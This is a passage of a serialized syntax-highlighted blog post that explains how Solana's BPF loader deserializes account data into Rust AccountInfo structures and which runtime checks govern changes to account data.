",{"type":24,"tag":90,"props":1312,"children":1313},{"style":120},[1314],{"type":29,"value":1315},"=>",{"type":24,"tag":90,"props":1317,"children":1318},{"style":120},[1319],{"type":29,"value":1251},{"type":24,"tag":90,"props":1321,"children":1322},{"style":97},[1323],{"type":29,"value":1206},{"type":24,"tag":90,"props":1325,"children":1326},{"style":120},[1327],{"type":29,"value":1211},{"type":24,"tag":90,"props":1329,"children":1330},{"style":114},[1331],{"type":29,"value":1216},{"type":24,"tag":90,"props":1333,"children":1334},{"style":120},[1335],{"type":29,"value":1211},{"type":24,"tag":90,"props":1337,"children":1338},{"style":114},[1339],{"type":29,"value":1340},"SUCCESS,\n",{"type":24,"tag":90,"props":1342,"children":1343},{"class":92,"line":281},[1344,1349,1353,1358,1362,1366,1371,1375,1380],{"type":24,"tag":90,"props":1345,"children":1346},{"style":146},[1347],{"type":29,"value":1348}," Err",{"type":24,"tag":90,"props":1350,"children":1351},{"style":114},[1352],{"type":29,"value":117},{"type":24,"tag":90,"props":1354,"children":1355},{"style":136},[1356],{"type":29,"value":1357},"error",{"type":24,"tag":90,"props":1359,"children":1360},{"style":114},[1361],{"type":29,"value":172},{"type":24,"tag":90,"props":1363,"children":1364},{"style":120},[1365],{"type":29,"value":1315},{"type":24,"tag":90,"props":1367,"children":1368},{"style":136},[1369],{"type":29,"value":1370}," error",{"type":24,"tag":90,"props":1372,"children":1373},{"style":120},[1374],{"type":29,"value":226},{"type":24,"tag":90,"props":1376,"children":1377},{"style":108},[1378],{"type":29,"value":1379},"into",{"type":24,"tag":90,"props":1381,"children":1382},{"style":114},[1383],{"type":29,"value":1384},"(),\n",{"type":24,"tag":90,"props":1386,"children":1387},{"class":92,"line":384},[1388],{"type":24,"tag":90,"props":1389,"children":1390},{"style":114},[1391],{"type":29,"value":612},{"type":24,"tag":90,"props":1393,"children":1394},{"class":92,"line":420},[1395],{"type":24,"tag":90,"props":1396,"children":1397},{"style":114},[1398],{"type":29,"value":827},{"type":24,"tag":25,"props":1400,"children":1401},{},[1402,1404,1410,1412,1418,1420,1427,1429,1435,1437,1444],{"type":29,"value":1403},"What we see here is the contract's real entrypoint - it takes a ",{"type":24,"tag":32,"props":1405,"children":1407},{"className":1406},[],[1408],{"type":29,"value":1409},"u8",{"type":29,"value":1411}," buffer in from the loader, and calls ",{"type":24,"tag":32,"props":1413,"children":1415},{"className":1414},[],[1416],{"type":29,"value":1417},"solana_program::entrypoint::deserialize",{"type":29,"value":1419},", which then ",{"type":24,"tag":69,"props":1421,"children":1424},{"href":1422,"rel":1423},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[73],[1425],{"type":29,"value":1426},"parses out",{"type":29,"value":1428}," all the ",{"type":24,"tag":32,"props":1430,"children":1432},{"className":1431},[],[1433],{"type":29,"value":1434},"AccountInfo",{"type":29,"value":1436},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":24,"tag":69,"props":1438,"children":1441},{"href":1439,"rel":1440},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[73],[1442],{"type":29,"value":1443},"laid out",{"type":29,"value":78},{"type":24,"tag":80,"props":1446,"children":1448},{"className":82,"code":1447,"language":84,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[1449],{"type":24,"tag":32,"props":1450,"children":1451},{"__ignoreMap":7},[1452,1469,1550,1586,1593,1641,1687,1695,1720],{"type":24,"tag":90,"props":1453,"children":1454},{"class":92,"line":93},[1455,1460,1464],{"type":24,"tag":90,"props":1456,"children":1457},{"style":114},[1458],{"type":29,"value":1459},"#[allow(clippy",{"type":24,"tag":90,"props":1461,"children":1462},{"style":120},[1463],{"type":29,"value":1211},{"type":24,"tag":90,"props":1465,"children":1466},{"style":114},[1467],{"type":29,"value":1468},"cast_ptr_alignment)]\n",{"type":24,"tag":90,"props":1470,"children":1471},{"class":92,"line":200},[1472,1476,1481,1485,1489,1493,1497,1501,1506,1510,1514,1518,1522,1526,1530,1534,1538,1542,1546],{"type":24,"tag":90,"props":1473,"children":1474},{"style":97},[1475],{"type":29,"value":895},{"type":24,"tag":90,"props":1477,"children":1478},{"style":136},[1479],{"type":29,"value":1480}," data_len",{"type":24,"tag":90,"props":1482,"children":1483},{"style":120},[1484],{"type":29,"value":216},{"type":24,"tag":90,"props":1486,"children":1487},{"style":120},[1488],{"type":29,"value":366},{"type":24,"tag":90,"props":1490,"children":1491},{"style":114},[1492],{"type":29,"value":117},{"type":24,"tag":90,"props":1494,"children":1495},{"style":136},[1496],{"type":29,"value":1106},{"type":24,"tag":90,"props":1498,"children":1499},{"style":120},[1500],{"type":29,"value":226},{"type":24,"tag":90,"props":1502,"children":1503},{"style":108},[1504],{"type":29,"value":1505},"add",{"type":24,"tag":90,"props":1507,"children":1508},{"style":114},[1509],{"type":29,"value":117},{"type":24,"tag":90,"props":1511,"children":1512},{"style":136},[1513],{"type":29,"value":337},{"type":24,"tag":90,"props":1515,"children":1516},{"style":114},[1517],{"type":29,"value":172},{"type":24,"tag":90,"props":1519,"children":1520},{"style":97},[1521],{"type":29,"value":361},{"type":24,"tag":90,"props":1523,"children":1524},{"style":120},[1525],{"type":29,"value":366},{"type":24,"tag":90,"props":1527,"children":1528},{"style":97},[1529],{"type":29,"value":508},{"type":24,"tag":90,"props":1531,"children":1532},{"style":146},[1533],{"type":29,"value":376},{"type":24,"tag":90,"props":1535,"children":1536},{"style":114},[1537],{"type":29,"value":172},{"type":24,"tag":90,"props":1539,"children":1540},{"style":97},[1541],{"type":29,"value":361},{"type":24,"tag":90,"props":1543,"children":1544},{"style":146},[1545],{"type":29,"value":149},{"type":24,"tag":90,"props":1547,"children":1548},{"style":114},[1549],{"type":29,"value":381},{"type":24,"tag":90,"props":1551,"children":1552},{"class":92,"line":239},[1553,1557,1562,1567,1571,1576,1581],{"type":24,"tag":90,"props":1554,"children":1555},{"style":136},[1556],{"type":29,"value":337},{"type":24,"tag":90,"props":1558,"children":1559},{"style":120},[1560],{"type":29,"value":1561}," +=",{"type":24,"tag":90,"props":1563,"children":1564},{"style":108},[1565],{"type":29,"value":1566}," size_of",{"type":24,"tag":90,"props":1568,"children":1569},{"style":120},[1570],{"type":29,"value":1211},{"type":24,"tag":90,"props":1572,"children":1573},{"style":114},[1574],{"type":29,"value":1575},"\u003C",{"type":24,"tag":90,"props":1577,"children":1578},{"style":146},[1579],{"type":29,"value":1580},"u64",{"type":24,"tag":90,"props":1582,"children":1583},{"style":114},[1584],{"type":29,"value":1585},">();\n",{"type":24,"tag":90,"props":1587,"children":1588},{"class":92,"line":248},[1589],{"type":24,"tag":90,"props":1590,"children":1591},{"emptyLinePlaceholder":16},[1592],{"type":29,"value":245},{"type":24,"tag":90,"props":1594,"children":1595},{"class":92,"line":258},[1596,1600,1605,1609,1614,1618,1623,1628,1632,1636],{"type":24,"tag":90,"props":1597,"children":1598},{"style":97},[1599],{"type":29,"value":895},{"type":24,"tag":90,"props":1601,"children":1602},{"style":136},[1603],{"type":29,"value":1604}," data",{"type":24,"tag":90,"props":1606,"children":1607},{"style":120},[1608],{"type":29,"value":216},{"type":24,"tag":90,"props":1610,"children":1611},{"style":146},[1612],{"type":29,"value":1613}," Rc",{"type":24,"tag":90,"props":1615,"children":1616},{"style":120},[1617],{"type":29,"value":1211},{"type":24,"tag":90,"props":1619,"children":1620},{"style":108},[1621],{"type":29,"value":1622},"new",{"type":24,"tag":90,"props":1624,"children":1625},{"style":114},[1626],{"type":29,"value":1627},"(RefCell",{"type":24,"tag":90,"props":1629,"children":1630},{"style":120},[1631],{"type":29,"value":1211},{"type":24,"tag":90,"props":1633,"children":1634},{"style":108},[1635],{"type":29,"value":1622},{"type":24,"tag":90,"props":1637,"children":1638},{"style":114},[1639],{"type":29,"value":1640},"({\n",{"type":24,"tag":90,"props":1642,"children":1643},{"class":92,"line":272},[1644,1649,1653,1657,1661,1665,1669,1673,1678,1682],{"type":24,"tag":90,"props":1645,"children":1646},{"style":108},[1647],{"type":29,"value":1648}," from_raw_parts_mut",{"type":24,"tag":90,"props":1650,"children":1651},{"style":114},[1652],{"type":29,"value":117},{"type":24,"tag":90,"props":1654,"children":1655},{"style":136},[1656],{"type":29,"value":1106},{"type":24,"tag":90,"props":1658,"children":1659},{"style":120},[1660],{"type":29,"value":226},{"type":24,"tag":90,"props":1662,"children":1663},{"style":108},[1664],{"type":29,"value":1505},{"type":24,"tag":90,"props":1666,"children":1667},{"style":114},[1668],{"type":29,"value":117},{"type":24,"tag":90,"props":1670,"children":1671},{"style":136},[1672],{"type":29,"value":337},{"type":24,"tag":90,"props":1674,"children":1675},{"style":114},[1676],{"type":29,"value":1677},"), ",{"type":24,"tag":90,"props":1679,"children":1680},{"style":136},[1681],{"type":29,"value":231},{"type":24,"tag":90,"props":1683,"children":1684},{"style":114},[1685],{"type":29,"value":1686},")\n",{"type":24,"tag":90,"props":1688,"children":1689},{"class":92,"line":281},[1690],{"type":24,"tag":90,"props":1691,"children":1692},{"style":114},[1693],{"type":29,"value":1694},"}));\n",{"type":24,"tag":90,"props":1696,"children":1697},{"class":92,"line":384},[1698,1702,1706,1710,1715],{"type":24,"tag":90,"props":1699,"children":1700},{"style":136},[1701],{"type":29,"value":337},{"type":24,"tag":90,"props":1703,"children":1704},{"style":120},[1705],{"type":29,"value":1561},{"type":24,"tag":90,"props":1707,"children":1708},{"style":136},[1709],{"type":29,"value":1480},{"type":24,"tag":90,"props":1711,"children":1712},{"style":120},[1713],{"type":29,"value":1714}," +",{"type":24,"tag":90,"props":1716,"children":1717},{"style":114},[1718],{"type":29,"value":1719}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":24,"tag":90,"props":1721,"children":1722},{"class":92,"line":420},[1723,1727,1731,1735,1739,1743,1747,1751,1755,1759,1763,1768,1773],{"type":24,"tag":90,"props":1724,"children":1725},{"style":136},[1726],{"type":29,"value":337},{"type":24,"tag":90,"props":1728,"children":1729},{"style":120},[1730],{"type":29,"value":1561},{"type":24,"tag":90,"props":1732,"children":1733},{"style":114},[1734],{"type":29,"value":1151},{"type":24,"tag":90,"props":1736,"children":1737},{"style":136},[1738],{"type":29,"value":337},{"type":24,"tag":90,"props":1740,"children":1741},{"style":97},[1742],{"type":29,"value":409},{"type":24,"tag":90,"props":1744,"children":1745},{"style":120},[1746],{"type":29,"value":366},{"type":24,"tag":90,"props":1748,"children":1749},{"style":97},[1750],{"type":29,"value":508},{"type":24,"tag":90,"props":1752,"children":1753},{"style":146},[1754],{"type":29,"value":1123},{"type":24,"tag":90,"props":1756,"children":1757},{"style":114},[1758],{"type":29,"value":517},{"type":24,"tag":90,"props":1760,"children":1761},{"style":120},[1762],{"type":29,"value":226},{"type":24,"tag":90,"props":1764,"children":1765},{"style":108},[1766],{"type":29,"value":1767},"align_offset",{"type":24,"tag":90,"props":1769,"children":1770},{"style":114},[1771],{"type":29,"value":1772},"(BPF_ALIGN_OF_U128); ",{"type":24,"tag":90,"props":1774,"children":1775},{"style":252},[1776],{"type":29,"value":1777},"// padding\n",{"type":24,"tag":25,"props":1779,"children":1780},{},[1781,1783,1788,1790,1796,1798,1809,1811,1816,1818,1824,1826,1832,1834,1840],{"type":29,"value":1782},"In English, we have the length of the data, as a ",{"type":24,"tag":32,"props":1784,"children":1786},{"className":1785},[],[1787],{"type":29,"value":1580},{"type":29,"value":1789},", followed immediately by the data, and an additional ",{"type":24,"tag":32,"props":1791,"children":1793},{"className":1792},[],[1794],{"type":29,"value":1795},"MAX_PERMITTED_DATA_INCREASE",{"type":29,"value":1797}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":24,"tag":69,"props":1799,"children":1802},{"href":1800,"rel":1801},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[73],[1803],{"type":24,"tag":32,"props":1804,"children":1806},{"className":1805},[],[1807],{"type":29,"value":1808},"slice::from_raw_parts_mut",{"type":29,"value":1810},") - slices are how Rust represents a, well, ",{"type":24,"tag":842,"props":1812,"children":1813},{},[1814],{"type":29,"value":1815},"slice",{"type":29,"value":1817}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":24,"tag":32,"props":1819,"children":1821},{"className":1820},[],[1822],{"type":29,"value":1823},"Rc\u003CRefCell\u003CT>>",{"type":29,"value":1825},", giving us the unwieldy-looking type of ",{"type":24,"tag":32,"props":1827,"children":1829},{"className":1828},[],[1830],{"type":29,"value":1831},"AccountInfo.data",{"type":29,"value":1833},": ",{"type":24,"tag":32,"props":1835,"children":1837},{"className":1836},[],[1838],{"type":29,"value":1839},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":29,"value":226},{"type":24,"tag":25,"props":1842,"children":1843},{},[1844,1846,1853],{"type":29,"value":1845},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":24,"tag":69,"props":1847,"children":1850},{"href":1848,"rel":1849},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[73],[1851],{"type":29,"value":1852},"cloning the referenced account",{"type":29,"value":78},{"type":24,"tag":80,"props":1855,"children":1857},{"className":82,"code":1856,"language":84,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[1858],{"type":24,"tag":32,"props":1859,"children":1860},{"__ignoreMap":7},[1861,1869],{"type":24,"tag":90,"props":1862,"children":1863},{"class":92,"line":93},[1864],{"type":24,"tag":90,"props":1865,"children":1866},{"style":252},[1867],{"type":29,"value":1868},"// Duplicate account, clone the original\n",{"type":24,"tag":90,"props":1870,"children":1871},{"class":92,"line":200},[1872,1876,1880,1885,1889,1893,1897,1902,1906,1910,1915,1919,1924],{"type":24,"tag":90,"props":1873,"children":1874},{"style":136},[1875],{"type":29,"value":1165},{"type":24,"tag":90,"props":1877,"children":1878},{"style":120},[1879],{"type":29,"value":226},{"type":24,"tag":90,"props":1881,"children":1882},{"style":108},[1883],{"type":29,"value":1884},"push",{"type":24,"tag":90,"props":1886,"children":1887},{"style":114},[1888],{"type":29,"value":117},{"type":24,"tag":90,"props":1890,"children":1891},{"style":136},[1892],{"type":29,"value":1165},{"type":24,"tag":90,"props":1894,"children":1895},{"style":114},[1896],{"type":29,"value":719},{"type":24,"tag":90,"props":1898,"children":1899},{"style":136},[1900],{"type":29,"value":1901},"dup_info",{"type":24,"tag":90,"props":1903,"children":1904},{"style":97},[1905],{"type":29,"value":409},{"type":24,"tag":90,"props":1907,"children":1908},{"style":146},[1909],{"type":29,"value":149},{"type":24,"tag":90,"props":1911,"children":1912},{"style":114},[1913],{"type":29,"value":1914},"]",{"type":24,"tag":90,"props":1916,"children":1917},{"style":120},[1918],{"type":29,"value":226},{"type":24,"tag":90,"props":1920,"children":1921},{"style":108},[1922],{"type":29,"value":1923},"clone",{"type":24,"tag":90,"props":1925,"children":1926},{"style":114},[1927],{"type":29,"value":1928},"());\n",{"type":24,"tag":25,"props":1930,"children":1931},{},[1932,1934,1939,1941,1946,1948,1953,1955,1961,1962,1968,1970,1975,1977,1989,1991,1996],{"type":29,"value":1933},"Since ",{"type":24,"tag":32,"props":1935,"children":1937},{"className":1936},[],[1938],{"type":29,"value":481},{"type":29,"value":1940}," inside the ",{"type":24,"tag":32,"props":1942,"children":1944},{"className":1943},[],[1945],{"type":29,"value":1434},{"type":29,"value":1947}," is a ",{"type":24,"tag":32,"props":1949,"children":1951},{"className":1950},[],[1952],{"type":29,"value":1823},{"type":29,"value":1954},", where the ",{"type":24,"tag":32,"props":1956,"children":1958},{"className":1957},[],[1959],{"type":29,"value":1960},"T",{"type":29,"value":1947},{"type":24,"tag":32,"props":1963,"children":1965},{"className":1964},[],[1966],{"type":29,"value":1967},"&mut [u8]",{"type":29,"value":1969}," pointing at the actual data buffer, when we clone the ",{"type":24,"tag":32,"props":1971,"children":1973},{"className":1972},[],[1974],{"type":29,"value":1434},{"type":29,"value":1976},", we get a new reference",{"type":24,"tag":1978,"props":1979,"children":1980},"sup",{},[1981],{"type":24,"tag":69,"props":1982,"children":1987},{"href":1983,"ariaDescribedBy":1984,"dataFootnoteRef":7,"id":1986},"#user-content-fn-rc-refs",[1985],"footnote-label","user-content-fnref-rc-refs",[1988],{"type":29,"value":534},{"type":29,"value":1990}," to the slice pointing at the ",{"type":24,"tag":842,"props":1992,"children":1993},{},[1994],{"type":29,"value":1995},"same",{"type":29,"value":1997}," data buffer.",{"type":24,"tag":25,"props":1999,"children":2000},{},[2001,2003,2009,2011,2017],{"type":29,"value":2002},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":24,"tag":32,"props":2004,"children":2006},{"className":2005},[],[2007],{"type":29,"value":2008},"RefCell",{"type":29,"value":2010}," to check the rules at runtime. (The ",{"type":24,"tag":32,"props":2012,"children":2014},{"className":2013},[],[2015],{"type":29,"value":2016},"lamports",{"type":29,"value":2018}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":24,"tag":25,"props":2020,"children":2021},{},[2022,2024,2030],{"type":29,"value":2023},"Changing the data of an account is done by simply writing to ",{"type":24,"tag":32,"props":2025,"children":2027},{"className":2026},[],[2028],{"type":29,"value":2029},"AccountInfo::data",{"type":29,"value":2031},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":24,"tag":25,"props":2033,"children":2034},{},[2035,2037,2044],{"type":29,"value":2036},"This is also where the ",{"type":24,"tag":69,"props":2038,"children":2041},{"href":2039,"rel":2040},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[73],[2042],{"type":29,"value":2043},"runtime validity checks",{"type":29,"value":2045}," are imposed.",{"type":24,"tag":80,"props":2047,"children":2049},{"className":82,"code":2048,"language":84,"meta":7,"style":7},"// Only the owner may change account data\n// and if the account is writable\n// and if the account is not executable\nif !(program_id == pre.owner()\n && is_writable // line coverage used to get branch coverage\n && !pre.executable())\n && pre.data() != post.data()\n{\n if pre.executable() {\n return Err(InstructionError::ExecutableDataModified);\n } else if is_writable {\n return Err(InstructionError::ExternalAccountDataModified);\n } else {\n return Err(InstructionError::ReadonlyDataModified);\n }\n}\n",[2050],{"type":24,"tag":32,"props":2051,"children":2052},{"__ignoreMap":7},[2053,2061,2069,2077,2122,2140,2169,2214,2222,2246,2281,2307,2339,2354,2386,2393],{"type":24,"tag":90,"props":2054,"children":2055},{"class":92,"line":93},[2056],{"type":24,"tag":90,"props":2057,"children":2058},{"style":252},[2059],{"type":29,"value":2060},"// Only the owner may change account data\n",{"type":24,"tag":90,"props":2062,"children":2063},{"class":92,"line":200},[2064],{"type":24,"tag":90,"props":2065,"children":2066},{"style":252},[2067],{"type":29,"value":2068},"// and if the account is writable\n",{"type":24,"tag":90,"props":2070,"children":2071},{"class":92,"line":239},[2072],{"type":24,"tag":90,"props":2073,"children":2074},{"style":252},[2075],{"type":29,"value":2076},"// and if the account is not executable\n",{"type":24,"tag":90,"props":2078,"children":2079},{"class":92,"line":248},[2080,2085,2090,2094,2098,2103,2108,2112,2117],{"type":24,"tag":90,"props":2081,"children":2082},{"style":636},[2083],{"type":29,"value":2084},"if",{"type":24,"tag":90,"props":2086,"children":2087},{"style":120},[2088],{"type":29,"value":2089}," !",{"type":24,"tag":90,"props":2091,"children":2092},{"style":114},[2093],{"type":29,"value":117},{"type":24,"tag":90,"props":2095,"children":2096},{"style":136},[2097],{"type":29,"value":1156},{"type":24,"tag":90,"props":2099,"children":2100},{"style":120},[2101],{"type":29,"value":2102}," ==",{"type":24,"tag":90,"props":2104,"children":2105},{"style":136},[2106],{"type":29,"value":2107}," pre",{"type":24,"tag":90,"props":2109,"children":2110},{"style":120},[2111],{"type":29,"value":226},{"type":24,"tag":90,"props":2113,"children":2114},{"style":108},[2115],{"type":29,"value":2116},"owner",{"type":24,"tag":90,"props":2118,"children":2119},{"style":114},[2120],{"type":29,"value":2121},"()\n",{"type":24,"tag":90,"props":2123,"children":2124},{"class":92,"line":258},[2125,2130,2135],{"type":24,"tag":90,"props":2126,"children":2127},{"style":120},[2128],{"type":29,"value":2129}," &&",{"type":24,"tag":90,"props":2131,"children":2132},{"style":136},[2133],{"type":29,"value":2134}," is_writable",{"type":24,"tag":90,"props":2136,"children":2137},{"style":252},[2138],{"type":29,"value":2139}," // line coverage used to get branch coverage\n",{"type":24,"tag":90,"props":2141,"children":2142},{"class":92,"line":272},[2143,2147,2151,2155,2159,2164],{"type":24,"tag":90,"props":2144,"children":2145},{"style":120},[2146],{"type":29,"value":2129},{"type":24,"tag":90,"props":2148,"children":2149},{"style":120},[2150],{"type":29,"value":2089},{"type":24,"tag":90,"props":2152,"children":2153},{"style":136},[2154],{"type":29,"value":80},{"type":24,"tag":90,"props":2156,"children":2157},{"style":120},[2158],{"type":29,"value":226},{"type":24,"tag":90,"props":2160,"children":2161},{"style":108},[2162],{"type":29,"value":2163},"executable",{"type":24,"tag":90,"props":2165,"children":2166},{"style":114},[2167],{"type":29,"value":2168},"())\n",{"type":24,"tag":90,"props":2170,"children":2171},{"class":92,"line":281},[2172,2176,2180,2184,2188,2192,2197,2202,2206,2210],{"type":24,"tag":90,"props":2173,"children":2174},{"style":120},[2175],{"type":29,"value":2129},{"type":24,"tag":90,"props":2177,"children":2178},{"style":136},[2179],{"type":29,"value":2107},{"type":24,"tag":90,"props":2181,"children":2182},{"style":120},[2183],{"type":29,"value":226},{"type":24,"tag":90,"props":2185,"children":2186},{"style":108},[2187],{"type":29,"value":481},{"type":24,"tag":90,"props":2189,"children":2190},{"style":114},[2191],{"type":29,"value":495},{"type":24,"tag":90,"props":2193,"children":2194},{"style":120},[2195],{"type":29,"value":2196},"!=",{"type":24,"tag":90,"props":2198,"children":2199},{"style":136},[2200],{"type":29,"value":2201}," post",{"type":24,"tag":90,"props":2203,"children":2204},{"style":120},[2205],{"type":29,"value":226},{"type":24,"tag":90,"props":2207,"children":2208},{"style":108},[2209],{"type":29,"value":481},{"type":24,"tag":90,"props":2211,"children":2212},{"style":114},[2213],{"type":29,"value":2121},{"type":24,"tag":90,"props":2215,"children":2216},{"class":92,"line":384},[2217],{"type":24,"tag":90,"props":2218,"children":2219},{"style":114},[2220],{"type":29,"value":2221},"{\n",{"type":24,"tag":90,"props":2223,"children":2224},{"class":92,"line":420},[2225,2229,2233,2237,2241],{"type":24,"tag":90,"props":2226,"children":2227},{"style":636},[2228],{"type":29,"value":639},{"type":24,"tag":90,"props":2230,"children":2231},{"style":136},[2232],{"type":29,"value":2107},{"type":24,"tag":90,"props":2234,"children":2235},{"style":120},[2236],{"type":29,"value":226},{"type":24,"tag":90,"props":2238,"children":2239},{"style":108},[2240],{"type":29,"value":2163},{"type":24,"tag":90,"props":2242,"children":2243},{"style":114},[2244],{"type":29,"value":2245},"() {\n",{"type":24,"tag":90,"props":2247,"children":2248},{"class":92,"line":428},[2249,2254,2259,2263,2268,2272,2277],{"type":24,"tag":90,"props":2250,"children":2251},{"style":636},[2252],{"type":29,"value":2253}," return",{"type":24,"tag":90,"props":2255,"children":2256},{"style":146},[2257],{"type":29,"value":2258}," Err",{"type":24,"tag":90,"props":2260,"children":2261},{"style":114},[2262],{"type":29,"value":117},{"type":24,"tag":90,"props":2264,"children":2265},{"style":146},[2266],{"type":29,"value":2267},"InstructionError",{"type":24,"tag":90,"props":2269,"children":2270},{"style":120},[2271],{"type":29,"value":1211},{"type":24,"tag":90,"props":2273,"children":2274},{"style":146},[2275],{"type":29,"value":2276},"ExecutableDataModified",{"type":24,"tag":90,"props":2278,"children":2279},{"style":114},[2280],{"type":29,"value":571},{"type":24,"tag":90,"props":2282,"children":2283},{"class":92,"line":437},[2284,2289,2294,2299,2303],{"type":24,"tag":90,"props":2285,"children":2286},{"style":114},[2287],{"type":29,"value":2288}," } ",{"type":24,"tag":90,"props":2290,"children":2291},{"style":636},[2292],{"type":29,"value":2293},"else",{"type":24,"tag":90,"props":2295,"children":2296},{"style":636},[2297],{"type":29,"value":2298}," if",{"type":24,"tag":90,"props":2300,"children":2301},{"style":136},[2302],{"type":29,"value":2134},{"type":24,"tag":90,"props":2304,"children":2305},{"style":114},[2306],{"type":29,"value":269},{"type":24,"tag":90,"props":2308,"children":2309},{"class":92,"line":574},[2310,2314,2318,2322,2326,2330,2335],{"type":24,"tag":90,"props":2311,"children":2312},{"style":636},[2313],{"type":29,"value":2253},{"type":24,"tag":90,"props":2315,"children":2316},{"style":146},[2317],{"type":29,"value":2258},{"type":24,"tag":90,"props":2319,"children":2320},{"style":114},[2321],{"type":29,"value":117},{"type":24,"tag":90,"props":2323,"children":2324},{"style":146},[2325],{"type":29,"value":2267},{"type":24,"tag":90,"props":2327,"children":2328},{"style":120},[2329],{"type":29,"value":1211},{"type":24,"tag":90,"props":2331,"children":2332},{"style":146},[2333],{"type":29,"value":2334},"ExternalAccountDataModified",{"type":24,"tag":90,"props":2336,"children":2337},{"style":114},[2338],{"type":29,"value":571},{"type":24,"tag":90,"props":2340,"children":2341},{"class":92,"line":606},[2342,2346,2350],{"type":24,"tag":90,"props":2343,"children":2344},{"style":114},[2345],{"type":29,"value":2288},{"type":24,"tag":90,"props":2347,"children":2348},{"style":636},[2349],{"type":29,"value":2293},{"type":24,"tag":90,"props":2351,"children":2352},{"style":114},[2353],{"type":29,"value":269},{"type":24,"tag":90,"props":2355,"children":2356},{"class":92,"line":615},[2357,2361,2365,2369,2373,2377,2382],{"type":24,"tag":90,"props":2358,"children":2359},{"style":636},[2360],{"type":29,"value":2253},{"type":24,"tag":90,"props":2362,"children":2363},{"style":146},[2364],{"type":29,"value":2258},{"type":24,"tag":90,"props":2366,"children":2367},{"style":114},[2368],{"type":29,"value":117},{"type":24,"tag":90,"props":2370,"children":2371},{"style":146},[2372],{"type":29,"value":2267},{"type":24,"tag":90,"props":2374,"children":2375},{"style":120},[2376],{"type":29,"value":1211},{"type":24,"tag":90,"props":2378,"children":2379},{"style":146},[2380],{"type":29,"value":2381},"ReadonlyDataModified",{"type":24,"tag":90,"props":2383,"children":2384},{"style":114},[2385],{"type":29,"value":571},{"type":24,"tag":90,"props":2387,"children":2388},{"class":92,"line":623},[2389],{"type":24,"tag":90,"props":2390,"children":2391},{"style":114},[2392],{"type":29,"value":612},{"type":24,"tag":90,"props":2394,"children":2395},{"class":92,"line":632},[2396],{"type":24,"tag":90,"props":2397,"children":2398},{"style":114},[2399],{"type":29,"value":827},{"type":24,"tag":1019,"props":2401,"children":2403},{"id":2402},"back-to-realloc",[2404,2406],{"type":29,"value":2405},"Back to ",{"type":24,"tag":32,"props":2407,"children":2409},{"className":2408},[],[2410],{"type":29,"value":37},{"type":24,"tag":25,"props":2412,"children":2413},{},[2414],{"type":29,"value":2415},"As a reminder, this is what we were looking at before that detour:",{"type":24,"tag":80,"props":2417,"children":2418},{"className":82,"code":875,"language":84,"meta":7,"style":7},[2419],{"type":24,"tag":32,"props":2420,"children":2421},{"__ignoreMap":7},[2422,2429,2516],{"type":24,"tag":90,"props":2423,"children":2424},{"class":92,"line":93},[2425],{"type":24,"tag":90,"props":2426,"children":2427},{"style":252},[2428],{"type":29,"value":887},{"type":24,"tag":90,"props":2430,"children":2431},{"class":92,"line":200},[2432,2436,2440,2444,2448,2452,2456,2460,2464,2468,2472,2476,2480,2484,2488,2492,2496,2500,2504,2508,2512],{"type":24,"tag":90,"props":2433,"children":2434},{"style":97},[2435],{"type":29,"value":895},{"type":24,"tag":90,"props":2437,"children":2438},{"style":136},[2439],{"type":29,"value":292},{"type":24,"tag":90,"props":2441,"children":2442},{"style":120},[2443],{"type":29,"value":216},{"type":24,"tag":90,"props":2445,"children":2446},{"style":97},[2447],{"type":29,"value":221},{"type":24,"tag":90,"props":2449,"children":2450},{"style":120},[2451],{"type":29,"value":226},{"type":24,"tag":90,"props":2453,"children":2454},{"style":108},[2455],{"type":29,"value":309},{"type":24,"tag":90,"props":2457,"children":2458},{"style":114},[2459],{"type":29,"value":314},{"type":24,"tag":90,"props":2461,"children":2462},{"style":120},[2463],{"type":29,"value":319},{"type":24,"tag":90,"props":2465,"children":2466},{"style":108},[2467],{"type":29,"value":324},{"type":24,"tag":90,"props":2469,"children":2470},{"style":114},[2471],{"type":29,"value":314},{"type":24,"tag":90,"props":2473,"children":2474},{"style":120},[2475],{"type":29,"value":226},{"type":24,"tag":90,"props":2477,"children":2478},{"style":108},[2479],{"type":29,"value":337},{"type":24,"tag":90,"props":2481,"children":2482},{"style":114},[2483],{"type":29,"value":117},{"type":24,"tag":90,"props":2485,"children":2486},{"style":120},[2487],{"type":29,"value":346},{"type":24,"tag":90,"props":2489,"children":2490},{"style":349},[2491],{"type":29,"value":352},{"type":24,"tag":90,"props":2493,"children":2494},{"style":114},[2495],{"type":29,"value":172},{"type":24,"tag":90,"props":2497,"children":2498},{"style":97},[2499],{"type":29,"value":361},{"type":24,"tag":90,"props":2501,"children":2502},{"style":120},[2503],{"type":29,"value":366},{"type":24,"tag":90,"props":2505,"children":2506},{"style":97},[2507],{"type":29,"value":371},{"type":24,"tag":90,"props":2509,"children":2510},{"style":146},[2511],{"type":29,"value":376},{"type":24,"tag":90,"props":2513,"children":2514},{"style":114},[2515],{"type":29,"value":381},{"type":24,"tag":90,"props":2517